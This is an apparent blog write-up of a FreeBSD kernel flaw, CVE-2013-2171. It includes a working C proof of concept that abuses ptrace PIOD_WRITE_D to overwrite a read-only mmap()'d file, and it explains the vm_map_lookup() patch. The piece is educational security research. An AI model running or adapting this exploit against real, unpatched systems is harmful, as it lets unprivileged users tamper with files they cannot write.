As a security researcher, I’m keen to learn new exploitation techniques and the art of kernel exploitation is no exception. Whilst preparing my slides for 44CON 2013, I was looking for an easy kernel vulnerability to demonstrate. CVE-2013-2171 was a recent vulnerability that was reported in FreeBSD 9.0 which fitted the bill.
As I explained in my talk, for a number of reasons, FreeBSD advisories are a great place to start learning about kernel exploitation:
- The source is freely available
- It’s very readable
- The FreeBSD Security Officer doesn’t hide the details of vulnerabilities unlike other vendors’ security teams
Anyway, let’s take a look at the bug in a bit more detail.
We start by taking a look at the description given in the advisory, which starts by talking about memory mapped files before stating that:
Due to insufficient permission checks in the virtual memory system, a tracing process (such as a debugger) may be able to modify portions of the traced process’s address space to which the traced process itself does not have write access.
Sounds interesting but how do we exploit it?
The first clue is in the reference to memory mapped files. For those of you that are unaware, on POSIX like systems, the mmap() function allows us to map the contents of a file (specified by a file descriptor) to an address which we can then access as if it’s a piece of physical RAM. Whilst clue two is in the reference to debuggers. The FreeBSD ptrace() function allows us to perform the PIOD_WRITE_D operation to write to the memory space of a process that has been traced.
Putting this all together, we end up with something like this:
filehandle = open("/path/to/a/readable/file", 0, 0); if ((mmapbuffer = (void *) mmap((void *) NULL, 1024, PROT_READ, MAP_SHARED, filehandle, 0)) == (void *) -1) { perror("mmap"); } if ((childpid = fork()) == 0) { if (ptrace(PT_TRACE_ME, 0, NULL, 0)) { perror("PT_TRACE_ME"); exit(EXIT_FAILURE); } sleep(60); exit(EXIT_SUCCESS); } else { if (ptrace(PT_ATTACH, childpid, NULL, 0)) { perror("PT_ATTACH"); exit(EXIT_FAILURE); } if (wait(0) == -1) { perror("wait"); exit(EXIT_FAILURE); } newbuffer = malloc(1024); memset(newbuffer, 'A', 1024); iodesc.piod_op = PIOD_WRITE_D; iodesc.piod_offs = mmapbuffer; iodesc.piod_addr = newbuffer; iodesc.piod_len = 1023; if (ptrace(PT_IO, childpid, (caddr_t) &iodesc, sizeof(iodesc))) { perror("PT_IO"); exit(EXIT_FAILURE); } free(newbuffer); if (munmap(newbuffer, 1024) == -1) { perror("munmap"); } if (ptrace(PT_DETACH, childpid, NULL, 0)) { perror("PT_DETACH"); exit(EXIT_FAILURE); } close(filehandle); exit(EXIT_SUCCESS); }
As you can see, this opens a readable file and writes 1024 As to it.
But wait, why does this even work?
The patch supplied by the FreeBSD project adds an additional check to vm_map_lookup() which essentially returns KERN_PROTECTION_FAILURE if we’re trying to copy-on-read, and the page isn’t writable and the page isn’t marked as copy-on-write like so:
if ((fault_typea & VM_PROT_COPY) != 0 && (entry->max_protection & VM_PROT_WRITE) == 0 && (entry->eflags & MAP_ENTRY_COW) == 0) { vm_map_unlock_read(map); return (KERN_PROTECTION_FAILURE); }
It turns out that it works for the same reason that we can insert breakpoints into text segments of a running process even though they’re typically mapped as read-executable. Essentially, the kernel handles writes by ptrace() and it can bypass the permissions on the page since it runs with privileges beyond those of a userland process. The fix implemented by the FreeBSD project is simply to deny attempts to copy the page if it’s not actually writable. Debugging will continue to work after the patch has been applied, since for those segments, the pages will be marked as copy-on-write, something that isn’t the case for mmap()’d files.